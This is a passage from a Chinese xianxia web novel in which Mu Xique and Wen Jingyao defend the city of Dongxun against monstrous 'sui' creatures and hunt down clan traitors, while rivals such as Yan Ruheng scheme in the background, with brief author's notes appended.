庄漪禾只说了那一句话便挂断了玉符,她那边似乎情况紧急,连解释的时间都没。 闻惊遥即刻起身,一手拽起慕夕阙的手腕,一言不发牵着她便往外走。 今日小雪不停,上午才扫净的小路上经过这一下午的落雪,已堆积了层薄薄的霜雪,一踩便是一个脚印。 慕夕阙并未开口,由他牵着。 走到清心观的大门处,下山的路口站了个人,他的脊背伛偻,一手拿着与自己一般高的扫帚,一手负在身后,望向雾璋山下的东浔,明明身影消瘦,耸肩曲背,却又像能扛起千吨重的小山般。 闻惊遥走上前,拱手行礼:“万长老,弟子需下山送夕阙离开。” 万初道:“怕走不了。” 闻惊遥直起身,随他一起看向山下,化神境可以一目千里,但他如今的元婴修为不足以做到这些,虽看不清城内如今的状况,但能觉察出一股浓重的—— 秽气。 慕夕阙眉心微拧,说道:“东浔出现秽毒……不,祟种?” “嗯。”万初冷声道,“有五只,四只堵住了东西南北四个城门,还有一只在你们闻家主宅。” 祟种诞生便有修士化神境的修为,若生前修为高,那化成的祟种便几乎无所匹敌。 如今城内的化神境修士,总共也就三人。 闻承禺,闻家的一位长老,以及万初。 但祟种却有五只。 闻惊遥的面色凛若冰霜,纵使心中担忧闻家,但既是庄漪禾命令他做的事,闻家弟子有令必行,他仍道:“弟子想办法找到生路,先送夕阙离开东浔。” 万初回头,看着他们两个:“城外有兵力把守,鹤阶和千机宗的人在那里埋伏,如果我没观错,你们应当也无法传信求援,鹤阶和千机宗在外布了阵。” 闻惊遥自是知晓以他们二人没办法破围,问道:“长老可有办法送夕阙——” “我不走。”慕夕阙淡声开口打断。 闻惊遥顿了下,回眸看她,第一次在她面前有了些强硬的态度:“夕阙,你得离开东浔,祟种并非鹤阶那些修士,不是你我可以应付的。” “我不走。”慕夕阙又重复了一遍。 闻惊遥眉心紧拧:“你并未和祟种交过手,他们不知疼痛,不知畏惧,毫无神智,嗜血嗜杀——” “闻惊遥,我说了我不走,你听不懂?”慕夕阙挣开他的手,看了他一眼,直接往山下走。 她似乎生气了,闻惊遥略显无措,薄唇抿了抿,这模样让万初瞧见后倒是笑了下。 他拍拍闻惊遥的肩膀,说道:“你看你,又惹人家生气了,人慕二小姐有自己的决断,如今也确实没办法送她离开东浔。” 闻惊遥冲他匆匆颔首:“长老,我得先下去应敌。” 万初笑着点头:“去吧。” 万初并非闻家人,庄漪禾和闻承禺都未请他出山便已经说明态度,他们不能以当年的救命之恩请万初冒着生命危险除祟,他已替闻家教导了多任嫡传弟子,独身守了几百年的雾璋山,这恩情早已还够。 闻惊遥也清楚,因此只字未提请万初帮忙一事。 目送闻惊遥疾步离开,万初站在山顶,看两个小辈消失在密林里,又望向远处的东浔主城,自打他进了这座山,便从未再下去过。 一晃百年眨眼而过。 万初叹了口气,蹒跚走进清心观,照旧将清心观的雪扫开,历任闻家家主的牌位清理干净,干完这重复了百年的活后,他将扫帚搁在房檐下,又蹒跚走出去。 关上清心观大门之时,万初顿住,看向这住了多年的地方。 随后,两扇木门合上,他独身朝山下走去。 另一侧,闻惊遥追上慕夕阙。 她走得很快,并未回头,头上和肩上落了雪。 闻惊遥跟在她身侧,抬手替她拂去身上的落雪,说道:“抱歉,夕阙,我并未有跟你吵架的意思,只是此为东浔之难,你是慕家少主,若出了事,淞溪也会因此遭重创。” 慕夕阙站定,侧身看他:“若淞溪出事,你会置之不理吗?” 闻惊遥皱眉道:“自是不会。” 慕夕阙又问:“那我要是现在跑了,你们东浔的人又要如何说我呢?” 闻惊遥唇瓣翕动,却哑口无言。 慕夕阙收回目光,接着往山下走,这次用了灵力瞬移,速度极快,越往下便越是能觉察出那股令人厌恶不安的秽气。 她知道闻惊遥在她身后不远处跟着,因此并未回头。 冷厉的风自脸侧吹过,慕夕阙眼底冷淡。 她留在东浔并未跟慕家离开,是打着要从闻家内贼顺藤摸瓜,揪出他们背后那位主子的心,而上辈子她可从未听说闻家遭遇过祟难。 闻家兵力强盛,如今东浔主城结界玉灵还未关,那些祟种如何放进来—— 不,不对。 慕夕阙冷了脸,放慢速度等闻惊遥追上,他们并肩。 见她慢下,闻惊遥问道:“夕阙?” 慕夕阙扭头看他:“就算是祟种拿着你们的通行玉牌也绝对进不来,结界玉灵势必会阻拦祟种,你可有感知到主城的结界玉灵?” 闻惊遥脸色微沉,静心感知,三息功夫后回道:“还在,结界玉灵只有闻家家主可关,我父亲并未关上玉灵。” “那就证明这祟种不是从外面放进来的。”慕夕阙看着他,一字一句说道,“一直都在你们东浔。” 闻惊遥脸色更冷了,五只祟,竟然一直在东浔主城蛰伏。 慕夕阙并未再说话,两人加快速度,不过一刻钟便已赶到半山腰,这里已瞧不见雪。 她看着越来越近的东浔主城。 祟种若早便埋在主城,那便证明幕后的人本就打着对付东浔的心,这些天来的变故只是加快了这件事的爆发而已。 上辈子她在十三州时并未听说闻家遭祟种袭击,但她不在十三州的那五年,她对东浔主城的事几乎一无所知。 在她被鹤阶埋伏,师盈虚送她去往海外仙岛后没多久,她便听说闻惊遥继任了闻家家主,那时他才二十七岁,当家主着实有些年轻,而闻承禺也尚不足百岁,正值壮年,让位太早。 此后闻承禺和庄漪禾再无消息,十三州都传是去隐居了。 慕夕阙从不觉得以闻承禺这样的性格会丢下东浔百姓* ,年纪轻轻便和妻子过闲云野鹤的生活,将所有事情丢给才二十来岁的闻惊遥,甚至闻惊遥那时还兼任十三州圣尊,本就事务繁忙。 那只有一个可能。 闻承禺死了,庄漪禾也死了。 闻惊遥只剩自己一个人了,他别无选择- 朝蕴回身,眉头紧皱:“联系不上小夕?” 姜榆颔首:“是,师姐至今未回信。” 朝蕴在殿内踱步,双手交叠在身前,她又忽然停下,回身问道:“你大师兄可回来了?” “师娘。” 正说着话,殿外走进一人。 蔺九尘一身黑衣,身段笔直,周身整洁完好,并无半分尘垢和打斗的痕迹,这一路来应是太平。 他拱手道:“我已带徐无咎回来,他如今安置在慕家,这一路来鹤阶暗桩弟子跟着慕家灵舟,多亏阿榆的阵术我才得以避开他们的视线,他们应当也不知我们会兵分两路,敢由我一人带徐无咎回来。” 朝蕴现在无心管徐无咎的事,闻言急匆匆走上前来:“我与你师妹有约,等我们安全抵达慕家便会传信给她,可已过去两个时辰了,她还未回信。” 蔺九尘皱眉:“兴许是有事忘回了?” “不会,你师妹知晓若她不回信,我自是会担心。”朝蕴脸色担忧,“已过去两个时辰,这不正常。” 姜榆忙上前搀扶住她:“师娘可有跟闻少主传信问问,兴许是师姐去清心观看闻少主了。” 朝蕴忙道:“阿尘,给闻少主传信。” 说着,她也拿出玉牌给闻承禺和庄漪禾去了信。 三个人坐在主殿等了足足三刻钟,无一人回信。 几人脸色都冷了下来,知晓怕是出了事,一人不回许是在忙,几人同时不回信,除了有变故发生,她想不到原因。 朝蕴站起身:“传令给东浔慕家暗桩,即刻去东浔城外查探情况。” “是。”姜榆颔首,立马下去办事。 朝蕴站在原地没动,交握的双手无意识揪起,正忧心着,腰间玉符亮了,她低头看去。 蔺九尘也看过去,说道:“是慕大小姐。” 玉符上只传了几个字:“阿娘,我有事要说。” 朝蕴看向蔺九尘:“阿尘,我去一趟,若暗桩有消息传回,即刻来找我。” “是,您放心。”蔺九尘道。 朝蕴匆匆往外走。 慕家长女住在慕家主宅最深处,阁外有阵法守着,她自记事起便从未出过这里,如今已二十一岁,连慕家到底长什么模样都不知晓。 朝蕴站在门外,望着那栋有森寒阵法守着的阁楼,这小楼圈住了她的长女这一生,从生到死,凡人百年,她都要在此度过。 每次来这里,朝蕴总要做足心理准备,压住满心的愧疚才敢进去。 门口守着的弟子见她来,俯身行礼:“家主。” 朝蕴颔首:“辛苦了。” 她推门进去,不大的小院中,一人坐在柳树下,白色素衣裹身,身影消瘦纤细,满头及腰青丝仅用一根玉簪束住,周身气息清淡。 见朝蕴来了,她抬眸看过来,淡淡颔首:“阿娘。” 慕从晚眉目如画,清姿卓群,眉眼间与慕夕阙有三分相似。 朝蕴扯出笑:“小晚,穿这般单薄,冷不冷?” 寻常修士自是不惧这点森寒,但慕从晚不一样,她的灵根是被切断的,对身体造成极大反冲,连普通凡人的身子骨都不如,若非慕家用名贵丹药养着,怕是活不到如今这个岁数。 慕从晚看着她,摇了摇头:“不冷,阿娘忧心。” 慕家两个孩子,性子天差地别,慕从晚话少性冷,慕夕阙恣意飒沓,因此朝蕴对长女的愧疚从未停止。 朝蕴走过去,却还是从乾坤袋中取出披风,替慕从晚披上,捋了捋她柔顺的发,说道:“几日未见,阿娘本想晚上来瞧你,和你一起吃个饭。” 慕从晚抬眸,看着她道:“小夕并未回淞溪,您脸色不好,她出事了,是吗?” 朝蕴脸色一僵。 慕从晚淡声道:“我感知到有祟种出没,有五只,就在东浔。” 朝蕴长睫微颤,心跳瞬息加快。 不知是不是身中秽毒的人彼此会有感应,当年朝蕴和慕峥为了保全慕从晚的性命,当着鹤阶的面斩断了她的灵根,从那之后慕大小姐这个还未成长的天才无声陨落。 只能被关押在慕家终身不得出,便是化祟也不足为惧,从未修行过,这阁内的阵法顷刻间便会杀了她。 但慕从晚可感知秽毒,一月前任风煦化祟的刹那间,远在千里之外的慕从晚便觉察到了,并且迅速锁定范围,向朝蕴提及,慕家暗桩去查。 果然,那一日在幽州出了祟种,正是任风煦,也因此,慕家查到了徐无咎,任风煦死前便是去见了徐无咎。 朝蕴的手在抖,气息不稳,慕从晚垂眸看了一眼,默了瞬,抬手握住朝蕴的手。 她的手一贯冰凉,如今朝蕴的手竟比她还要凉,人在恐惧到极点,会无意识发抖,连朝蕴这个当了多年家主的人也没办法稳住情绪。 祟种杀害了她的夫君,秽毒摧毁了她的长女,如今也要夺走她的二女吗? 朝蕴忽然弯下腰,呕出一口血,她捂住嘴,转身背对慕从晚,哆哆嗦嗦拿起玉符传信。 “召集慕家所有兵力,去东浔主城,快去!” 蔺九尘什么都不知道,但听她颤抖到几乎嘶哑的声音,瞬间提起心,当即照做:“是!” 慕从晚站起身,说道:“我与您一起去。” “不行!”朝蕴回身看她,脸上泪水糊了满脸,“你不能去,鹤阶若发现你出了慕家便会杀了你的,更何况你一个凡人,那可是祟种!” “阿娘,东浔主城埋的有秽毒,我能感知在何处。”慕从晚淡声道,“不除秽毒,祟种无穷。” 朝蕴看着她,忽然捂住脸,泪水顺着指缝涌出:“阿娘……阿娘太无用了,我谁都护不住,我护不住你,护不住你父亲,护不住你妹妹,对不起……对不起……” 慕从晚走过去,抱住她。 “没关系的,阿娘已经做得很好了。” 慕从晚将侧脸枕在朝蕴肩头,闭上眼说道:“那么现在,不要再因为保护我们而退缩了,鹤阶不会放过我们的,这不是对策,只是懦弱。” 朝蕴握紧手上的家主玉牌。 她闭上眼,说道:“好。”- 慕夕阙和闻惊遥刚下山,便瞧见匆匆朝雾璋山赶来的庄漪禾,她单手提剑,见两人后赶忙过来,一把扯住慕夕阙。 “小夕,走,闻家会派弟子和惊遥一起送你出城。” “夫人,我不走。”慕夕阙挣开她的手,迎着庄漪禾愣愣的眼神,“我若是现在走了,外头对我慕家的丑诋只会更甚,何况如今求援传不出去,那便证明城外有人守着,也不安全。” 庄漪禾拧紧眉头:“祟种不是修士,一只祟种可以轻易灭一个小门派。” “阿娘,夕阙不走。”不等慕夕阙开口,闻惊遥沉声回答。 庄漪禾瞪向他:“你也得一起走,容得了你们两个在这里逞英雄吗,待会儿闻家会派出各大学宫甲等学舍的弟子送你们出城!” 她说完,扯住慕夕阙的手腕就要将她往外拉,慕夕阙却动也不动,她修为在庄漪禾之上,真倔起来,庄漪禾也奈何不了她。 “慕家与闻家既要结亲,那么一荣俱荣一损俱损,我今日跑了,明日祟种说不定就会攻去淞溪。” 慕夕阙挣开她,从她身侧离开,直接去了闻家主宅。 这次庄漪禾没有追上来。 慕夕阙面无表情,且不说她走不了,她又怎么可能会走? 今日这事跟闻家叛贼定脱不了关系,她要知道到底都有谁,上辈子推动慕家灭门的人中有没有闻家的几双手,以及能弄出祟种的人是谁。 那个指使旷悬在慕峥乘坐的灵舟上放入祟种的幕后真凶,究竟是谁? 慕夕阙越过画墨阁,一路上已经见了几个闻家弟子的尸身,沿着血迹一路向前,血气越来越重。 闻惊遥也快速追上来,和她并肩。 “东边城门弟子要守不住了,阿娘和一位长老去了,前方有血气,那只祟种应当在附近。” 他的话音刚落,从虚空劈下一柄长剑,两人眸色一凛,迅速朝左右两侧退后几十丈远。 剑光落在地面,炸开成沟壑。 慕夕阙抬眸看去,屋顶之上,一只身着破烂红衣的女祟提剑,已成灰白色的双目正阴沉沉盯着他们,面无表情。 看清那张脸的刹那,慕夕阙瞳仁微颤,不可置信。 “……离夫人。” 师盈虚的母亲。 慕夕阙愣了愣,恍惚间想起那日她问师盈虚为何独自前来参加订婚宴。 师盈虚说: ——“我爹娘近来有些事,我也老长一段时日没见过他们了。” 上一世师盈虚的爹娘在慕闻两家订婚这段时日也确实消失了一阵,不过只两月后便回了师家,可如今离夫人出现在这里。 那前世,回去师家的两人,是师盈虚的爹娘吗? 作者有话说:东浔这件事是迟早会发生的,鹤阶和他们背后的人一早就要对付东浔闻家的,并且要对付的不止慕、闻两家,所以即使没有女主保全慕家杀了鹤阶的那些人,东浔这件事也是会发生的,只是先攻慕家,还是先攻闻家的区别罢了~ 今天发个红包[撒花] 第35章 第 35 章 守城 在这里见到离蘅, 慕夕阙纵使已事先做足了准备,仍愣了神。 也就是愣神的片刻,离蘅灰白的眼球一转, 直勾勾看向慕夕阙,纵身跃下朝她冲来。 手腕被人扣住, 慕夕阙被一股猛劲儿拽出几十丈远, 躲开了那道致命的剑光,她站定,迅速稳住心神, 闻惊遥并未询问她如今是何状况,松开握住她的手腕,提剑迎上离蘅。 既已化成祟种, 身为人的一切都被抹杀泯灭, 如今在这里的只是被秽毒操纵, 嗜血嗜杀的祟种。 慕夕阙身影一晃, 瞬移至离蘅身后, 金色灵力萦绕在剑身,厉然朝离蘅劈去。 离蘅并未回身,却好似能感知身后有杀招, 她侧身躲开慕夕阙的杀招,一个瞬息消失在两人身前, 只留慕夕阙和闻惊遥两面相对。 两人对视, 眸色凛然,紧接着同时后撤, 而已经消失的离蘅竟从高空跃下,她的速度快到极致,迅速与两人缠斗在一起。 慕夕阙上辈子与祟种交过手, 被秽毒操控后修为会大涨,且不知疼痛不知畏惧,不砍头便死不了,离蘅天赋平平,一百来岁才修至元婴初境,如今竟被秽毒逼出了化神满境的实力。 她和闻惊遥两人一起,招招带刃也未能束缚离蘅制止住她,反而让两人身上挂了不少伤。 在离蘅去攻慕夕阙之时,闻惊遥旋身踹上她的脊背,用力极大,碎了她一根肋骨,而慕夕阙也借机躲开,与闻惊遥站在一处。 远处有闻家弟子闻讯赶来,离蘅陡然看向那边,似乎发觉这些弟子更好对付,且血肉更多,毫不犹豫丢下慕夕阙和闻惊遥,跳上房檐朝那些弟子们追去。 慕夕阙和闻惊遥紧随其后,速度明明提到极致,却仍是差几步未能追上。 在瞬移追祟的过程中,闻惊遥沉声道:“凭你我二人降服不了离夫人,缚仙索困不住她几时,得杀!” 顾忌这人是离蘅,他们二人方才不敢枭首,只能试图捆缚制止,待师盈虚赶来后再做后续决定。 如今这只女祟直奔闻家弟子而去,若不及时拦下,年轻弟子只会徒增伤亡。 慕夕阙咬牙,眼底红了几分,呼吸颤抖,盯着前方几步远处那只诡谲阴森的女祟,她已经看不出离蘅往日的半分温柔。 那是师盈虚的母亲。 若师盈虚在这里会如何做? 慕夕阙闭了闭眼,再次睁开眼,眼底冷然。 “那就杀。” 话音刚落,在离蘅距离闻家弟子几步远时,闻惊遥一把扯住慕夕阙的手腕,蕴出灵力,一掌将她推出十几丈远,甩至那些正欲凝结杀阵的闻家弟子面前。 离蘅的长剑已经劈下,慕夕阙双手合掌,凝出至强的防御阵术。 金色灵力迅速凝聚成半圆罡罩,将她以及她身后的数百弟子牢牢护住,离蘅的剑劈在其上,罡罩波动几瞬,却并未被一击击破。 而闻惊遥已至身离蘅身后,一掌扣住她的肩膀,将她猛然扯离。 他看了眼慕夕阙,她会意,拔剑冲出罡罩,对身后弟子丢下句:“你们应付不来祟种,去唤闻家长老来一个!” 慕夕阙和闻惊遥与离蘅缠斗,招招带了猛烈杀意,罡阵中的年轻弟子们焦急,却又知晓两位少主合力都应付困难的祟种,以他们几个刚入道没多久的年轻弟子,定是会拖后腿。 “怎么办,长老们有的出去应敌了,有的找不见人。” “那也不能看着少主和慕二小姐单打独斗啊!” 弟子急得团团转,而阵外,离蘅不知疲倦不知伤痛,罡风暴涨,左右两掌打至慕夕阙和闻惊遥的肩头,骨裂的声音响起,两人被震出十几步远。 离蘅面无表情,旋剑便要劈碎慕夕阙留下的阵法。 闻家弟子们面有慌乱,却迅速咬牙横剑便要抵挡。 铮然声起,一根生了锈的铁刀从东南侧击来,与离蘅的剑撞在一起,将她的剑厉然击飞。 慕夕阙和闻惊遥看去,远处的人仍旧耸肩曲背,身影佝偻,他踱步走来,身后是他守了百年的雾璋山,高耸延绵的青山护佑整座东浔主城,也容纳了一个满身沉疴伤痛的青年大半生,从壮年到暮年。 离蘅没有意识,但身为祟种能感知灵力的压迫,冷眼看着万初走来。 万初负手,闲庭信步,见这些小辈愕然看来,他温和笑笑,说道:“我守了闻家主宅几百年了,答应帮你们守,那就一定会守住。” 他抬手召回那柄自他入了雾璋山后,便再也未出鞘的长刀,名刀已蒙尘生锈,却又在他抖了抖刀身后,褪去斑驳的锈迹,露出那柄在几百年前曾扬名十三州的旷古长刀。 万初提刀走来,边走边说:“都走吧,一群年轻小辈,在这里碍事。” 慕夕阙擦去唇角的血迹,抬手收回凝结的罡阵放那些弟子出来,和闻惊遥一起对万初拱手。 “多谢前辈。” 两人并不多言,行完礼后,带领闻家弟子迅速撤退。 慕夕阙和闻惊遥在瞬移离开的时候,回头看了一眼万初。 那个消瘦的老者在那座山面前是那般渺小,那座山在他身后屹立,却又像被他的双臂托起般。 两人收回目光,脸色冷然。 万初提刀,一人堵住离蘅的路,女祟早已失去人的一切,记忆、情感以及神智,她冷眼看着万初,灰白的眼睛眨也不眨。 万初笑了笑,花白的头发被周身的罡风扬起,他已六百一十六岁,少时轻狂,一柄长刀杀遍北境,一举扬名,吹嘘捧赞接踵而至,却因此害了挚亲之人。 青年时他收起所有傲气,敛手屏足,避影匿迹,困于雾璋山顶那片茫然大雪中,看着一个个年轻的血脉走进,走出,成长到足以挑起整个东浔,唯独他磋磨年华,守着这座山,守着这些弟子,修为百年不得寸进。 如今已至暮年,他单手提刀,竟在此刻感受到了年少一战成名时的傲然与意气。 十六岁时的他站在论道大会的擂台上,想着,他要用这柄刀斩尽所有不公,肃清河山。 如今六百年已过,世事沧桑,家破人亡,青春不再,垂垂老矣。 万初朗然大笑:“六百年了,想不到还能和祟种交一次手,来吧,让我瞧瞧,到底是你们这些灭世邪灵强悍,还是我们人修胜!” 他骇然挥刀,伴着泼洒的月光,风暴瞬息爆发,化为卷龙,以锐利之态呼啸冲去,而他挺直了平日佝偻的脊背,紧随其后。 一刀祭出。 寒光映出那双苍老的眼眸,凌厉又森冷。 纵使世事苛待于他,但他平生之志,万死未悔- 慕夕阙和闻惊遥搜了整个闻家,将所有留守闻家的弟子召集。 闻惊遥祭出家主玉牌,沉声道:“修为不足金丹者去八大街以及附近城镇郡县撤离百姓,金丹以上者去东西南北四大城门支援。” 弟子们迅速站队,拱手行礼:“是!” 闻惊遥看向慕夕阙,他还未开口,慕夕阙便知晓他的意思。 “我与你一起去。” 闻惊遥薄唇微抿,说道:“那些长老修为不弱。” “我知道,我与你一起去。”慕夕阙脸色淡然,倒出几颗灵丹,一半塞进闻惊遥嘴里,一半丢进自己嘴里,止住身上的血。 “杀叛徒这种事情,我还是很感兴趣的。” 慕夕阙淡声说道,一边说,一边将头上那些乱七八糟的金钗都去掉,撕了条布带捆起及腰的青丝。 收拾好自己,她看着闻惊遥,笑了一声:“你看,早知道今天就不穿这身鲛绡了,现在报废了。” 闻惊遥唇角微弯,俯身抱住她,下颌枕在她的肩头:“夕阙,若这次能活下来,我再为你定新衣裳。” 慕夕阙并未说话。 闻惊遥只抱了一下便松开了手,和慕夕阙对视一眼,她懂他的意思,两人同时跃上房檐,沿着青砖绿瓦与高阁瓦楼奔移。 “我与父亲彻查了闻家这一年来的所有账务,母亲查了闻家的学宫经营,我们又派亲信近身去查,共揪出十人,皆已在数年前便与鹤阶有秘密往来。” “只有这十人吗?”慕夕阙问道。 闻惊遥侧眸看她,沉默片刻,说道:“不知,若有其余内贼,此次也会现身。” “你知道这十人在哪里吗?” “在查出他们后,闻家便已派暗桩弟子为他们下了追踪灵印。” “所以你要先杀这十人,是吗?” “是。” 闻惊遥牵住她的手,带她跃上十层高的阁楼,掠过一座座房檐,青衫和红衣在虚空中浸染霜白月色,划出浪纹,冷厉的风吹起他们的衣衫和青丝,长发交织在一起。 两人奔移十几里,循着灵印找至第一个人,远远瞧见那抹身影对奔逃的百姓袖手旁观,负手冷眼站在街头看年轻弟子们拼死抵抗祟种,而他作为一个长老竟动也不动。 慕夕阙一言不发,纵身跃上那位长老所在的正上方房檐,拔剑劈下。 长老冷然抬眸,当即避退,瞧见来者是慕夕阙后,瞳眸微颤,转身便要跑。 身前一条街之隔,一抹青影单手提剑,牢牢堵住他的去路。 闻惊遥淡淡看着他,一手祭出家主玉牌。 “闻肃,第七堂副堂主,勾结外贼,敛财牟利,戕害生民,按闻家家规第三十七条、第六十九条、第一百三十二条,当斩。” 话音落,闻惊遥与慕夕阙同时提剑,一前一后攻去- “兄长,东浔忽然出了这等变故,我们怎么走啊?” 燕青来走至燕如珩身旁,两人站在窗前,一起看向下方街道中,闻家弟子正在有序撤离离城门较近的百姓。 燕如珩负手而立,漠然看着百姓们惊惶地拖家带口,抱着孩子或背着老人,和弟子们一同离开家。 “我已联系燕家暗桩,他们传信,西侧城门祟种不强,待会儿你从那里走。” 燕青来茫然看他:“那你不走吗?” 燕如珩淡声道:“暂时不走,我得去找找小夕。” 燕青来脸色还有些苍白,被慕夕阙打的那三十大棍足以重伤筋骨,在榻上躺了这么多天也未好,燕如珩也因着这件事才带他在东浔主城多停了几日,订婚宴结束后也未离开。 听闻自家兄长这般说,他登时皱眉:“兄长,你还惦记那慕二小姐,她都已经和闻家少主定了亲,两人八字都录各家族谱了,便等于两个世家绑在了一起,你与她已不可能了!” 燕如珩面色不改,说道:“我们是朋友。” “你拿她当朋友,她何时拿你当过朋友?你看她将我打的!”燕青来指了指自己身上的伤,面容不可置信。 燕如珩侧身看他,目露训斥:“是你口出妄言在先,朝家主和十二辰是你能非议的吗!” “我——”燕青来还想顶嘴,可瞧见燕如珩淡淡看着他,心头那股隐约的惧意有丝丝缕缕蚕食着他,他咬牙咽下未说完的话,闭嘴不再吭声。 燕如珩又看向窗外,说道:“去收拾收拾,待会儿出城。” 燕青来只能拱手:“是。” 他转身离开,和弟子们收拾东西。 一刻钟后,燕青来裹得严严实实,身后跟了燕家此次随行的所有弟子,一路朝背离逃民的方向去,直冲西侧城门。 屋内安静沉寂,燕如珩仍负手而立,挺拔的身影堵住整个轩窗。 紧接着,门外再次响起脚步声,接着“吱呀”一声,有人推开门,踱步来到他身侧,和他一起负手而立。 “世人都拿你和我家少主比,一个芝兰玉树温润柔和,一个苍劲如竹持正不苟,偏生你们还都和慕二小姐有牵扯,大家都看着热闹呢。” 燕如珩并未说话,看燕青来的背影消失在街头。 那人又道:“可二小姐选了我家少主,燕少主这一局输了哦,痛失所爱,有何感想呢?” “输了吗?未必。”燕如珩侧首看他,笑了笑,“才点了契而已,纵使成了婚又怎样,我可不在乎这些。” 他望向远处凝结的罡阵,那是闻家一些长老带着弟子在对抗祟种,打斗声从未停止。 “你家少主若死在这里,朝蕴应知道除了闻家,谁还有实力保全慕家,我未必能输。” “嗯……可慕二小姐如今正跟我家少主应敌呢,若她也死在这里呢?” 燕如珩淡淡看他,唇角微扯,轻声说道:“她若将命丢在这里,我便拿你的命去偿她。” 身穿青衫的人笑了笑,毫不在乎,转身朝屋外走去,摇摇头说道:“也不知道燕小公子若知晓自家兄长这般心狠,一切都是早已定好的谋略,会不会痛恨自己这般信任你呢?” 他走至门口,顿住,回头看向燕如珩,笑着说道:“燕少主为夺大权,十岁就敢谋戮长兄,十五岁便敢毒杀继母,囚禁生父,在下相信,你一定能成大事的。” “只是不知晓,若慕二小姐得知先慕家主的死有你一半手笔,会不会哪天先枭了你的首级。” 房门关上,屋内再次寂静,燕如珩半分不在乎,收回目光,看着远处的战局。 若慕夕阙知晓后会不会杀了他? 一定会的。 她是那般嫉恶如仇的人,性子虽傲,但最明事理,即使她近来有些变了,与往日不太一样,但只要是慕夕阙,她便一定会为父报仇。 所以慕夕阙不会知道的。 燕如珩垂眸,如玉的手敲了敲搁在窗柩上的玉符。 玉符接通,对面是道懒洋洋的声音:“燕少主可想好了?” 燕如珩淡声道:“帮我办件事,我便答应你的条件。” 他看向远处,那里的战局尚未平息,愈演愈烈。 东浔主城,正北城门。 闻承禺最后一击,斩落那只祟种的首级,从虚空跌下。 “家主!” 身后的弟子们慌忙去接。 闻承禺身上重伤之处足有几十道,那只祟种的刀砍在他的肩膀、脊背、胸口、腰腹和大腿,那身威严的家主服也浸透了血,他的脸色苍白,却连眉头都没皱一下。 推开搀扶他的弟子,闻承禺站在城门处,望向被结界玉灵阻拦不得进入的千军万马。 白望舟神色焦急,冲他喊道:“闻家主,东浔主城内有祟种,鹤阶接到求援和最近的千机宗一同赶来支援,为何不关结界玉灵?” 闻承禺冷眼看着他,一句话也不说。 而身旁那早已气急的闻家长老名唤闻远鸿,闻言勃然大怒,指着白望舟厉声训斥:“你鹤阶到底打着什么主意,真以为我们看不出来,要我们关结界玉灵放鹤阶弟子入城吗!” 白望舟紧皱眉头:“鹤阶有平患之责,当着众人的面,我鹤阶会害你们不成?何况千机宗,以及定州方家,琅嬛南宫家都已闻讯赶来,难道你们也不让他们进吗?” 闻远鸿咬牙,附在闻承禺耳畔说:“家主,若今日不开城门,阻拦他们进城,以鹤阶惯爱谗言传谣的做派,想必来日定有传言咱们闻家阻止救援,害百姓和弟子无辜枉死。” “何况……来者不止鹤阶,还有其余世家,若咱们不关玉灵,日后东浔百姓恐怕也……也难以信服闻家。” 闻承禺冷冷看了眼白望舟和被阻拦在外的“援兵”,淡然别过头,看向身后乌泱泱的闻家子弟,那些或年长,或年轻的弟子们,有些死去,有些重伤,有些尚未来得及参与打斗。 一只祟种可屠一城。 闻承禺沉声道:“今日东浔主城结界玉灵我绝不会关,所谓的‘援兵’也进不来,无论祟种能否被阻拦,百姓最终伤亡多少,房舍被毁多少,闻家弟子要死多少,来日十三州又如何点评闻家,我都不会开这个城门。” 弟子们不语,安静听着。 “闻家一荣俱荣,一损俱损,日后你们的名声或许也会遭到牵连,若有惧者,可自行交出弟子玉碟,自请离开,不必参战,我不予体罚。” 东浔闻家最重名声,多少家庭送孩子入闻家修习,也是看中了闻家的廉名,想着日后孩子能借此扬名十三州。 弟子们鸦雀无声。 几息功夫过去,有人上前一步,拱手道:“闻家祖训,济时行道,慎终若始,弟子无惧死亡,无惧名声被诋,只求能与家主一同战至最后!” 紧接着,又有弟子站出:“弟子们明白家主的意思,名声固重,但道义更甚!” 越来越多的弟子站出:“玉灵绝不会关,弟子们愿与家主一起,誓死守城!” 城内高呼四起,城外静如沉水。 白望舟笑了一下,坐在担轿上,摇了摇头。 “逞莽夫之勇罢了,也罢,闻承禺若是能低这个头,这点魄力也当不了这般久的家主。”他单手撑着脑袋,懒洋洋看着城内,如今城内还剩四只祟种。 祟种能杀,只要秽毒还在,就会有更多的祟种。 “派去截杀慕家的人出动了吗?” 身后的弟子道:“已出发,由几位长老带着去了。” 白望舟点点头,懒懒闭目,说道:“那就静候佳音了,给里面的人说说,别忘了除了闻惊遥。”- 蔺九尘整顿好能出战的弟子们,上百艘灵舟立于琼筵山山底。 姜榆眉头紧皱,双手揪在一起,自言自语道:“那可是祟种,一只祟可灭一城,师姐不会有事吧?” 蔺九尘低声安抚:“放心,小夕修为高,闻家兵力也强,不会有事的。” 可再高也不过是元婴境,便是加上闻惊遥,他们两人也不一定抵得过一只祟种,如今东浔城内修为最高的人应当是闻承禺。 闻家兵力是强悍,但东浔主城平民也多,附近村镇郡县不计可数,定是要分出一半兵力护佑百姓安全撤离,何况如今城内还有秽毒,有这个能再生祟种的隐患。 而出了这样的事,慕夕阙定不会袖手旁观,一定会参与战斗,那就是冲在顶头,姜榆越想越是心慌,自家这师姐一向有胆,从不知退缩。 蔺九尘拍拍她的肩膀:“别担心。” 他说着话,心下其实也慌,看向山上的慕家主宅。 朝蕴还未下来。 而慕家主宅内,安顿好留守的慕家弟子,朝蕴转身,见慕从晚一袭白衣,裹着披风,戴着能从头遮到脚的幕笠从远处走来。 慕从晚从未出过那栋小楼,这是二十一年来第一次出来,若换旁人兴许会好奇,可她一路都未看周围一眼。 朝蕴赶忙迎上去:“小晚,我们出发吧?” 慕从晚摇摇头,说道:“不,得先去一个地方,拿一件东西。” 朝蕴拧眉,问道:“什么东西?” “慕家十二辰。” 周围寂静,朝蕴并未说话,交握的手紧了紧。 慕从晚隔着一层单薄的幕笠与她对视,掠过她,看向慕家主殿后的琼筵山。 山清水秀,明翠盎然,整个十三州都在暗自觊觎的神器,传闻能掌阴阳轮回四时流转,能敛骨吹魂使亡者复生的十二辰,就在琼筵山里。 历任十二辰之主,没有活过两百岁的。 朝蕴为了保全慕夕阙,始终未让十二辰认她为主,冒着慕家因此被十三州诋毁自私自利的风险,也绝不肯松这个口。 可如今慕从晚却说:“阿娘,只有十二辰能救小夕,也只有十二辰和天罡篆* 能肃清秽毒。” 作者有话说:十二辰会认小慕为主,也必须认小慕,但是别担心,我们是——He!小慕不会死的! 这几章剧情节奏会很快,加快揭前世的一个大伏笔[撒花]《 》 35-40 第36章 第 36 章 他后悔了 